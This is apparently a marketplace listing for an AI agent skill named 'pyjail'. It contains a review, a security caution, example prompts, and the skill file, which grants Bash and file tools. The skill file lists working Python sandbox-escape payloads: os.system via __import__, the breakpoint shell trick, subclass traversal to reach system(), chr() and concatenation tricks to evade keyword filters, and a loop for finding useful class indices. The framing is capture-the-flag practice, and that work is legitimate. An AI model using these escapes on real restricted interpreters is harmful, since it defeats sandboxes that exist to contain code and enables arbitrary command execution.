Our review
This skill helps escape Python sandbox restrictions by employing various bypass techniques to execute arbitrary commands or read files.
Strengths
- Provides a quick reference with common escape payloads and class hierarchy exploitation.
- Includes detailed reference files for bypass techniques and complete payloads.
- Offers debugging tips to identify useful class indices and available builtins.
Limitations
- Class indices depend on Python version, requiring manual adjustment.
- Does not cover all possible filter types (e.g., character blacklists, length limits).
- Assumes the environment still allows some form of Python code execution (eval/exec).
Use this skill when you need to execute commands or access resources in a Python environment with sandbox restrictions (jail).
Do not use if restrictions are extremely tight (no eval/exec, heavy filtering) or if you are not dealing with a Python sandbox.
Security analysis
CautionThe skill provides a variety of Python code snippets for escaping restricted eval/exec environments, which can lead to arbitrary command execution. While intended for legitimate security testing, such capabilities are powerful and could cause harm if used inappropriately.
- •enables arbitrary command execution via Python's os.system and other escapes
- •could be used to bypass security restrictions in production if misused
Examples
I have a Python jail that allows eval but blocks '__import__' and 'os'. How can I run a system command to read 'flag.txt'?The jail blocks the word 'system' and 'import'. Help me construct a payload using concatenation or chr() to execute 'cat flag.txt'.I need to use the class hierarchy to access subclasses and find one with 'popen' or 'wrap' to execute commands. Show me how to enumerate and find the right index.name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
Security Audit Scanner
Security
Analyzes code to detect OWASP Top 10 vulnerabilities.
OWASP Security Checklist
Security
Generates application security checklists based on the OWASP Top 10.
Threat Model Generator
Security
Generates threat model documents with STRIDE analysis.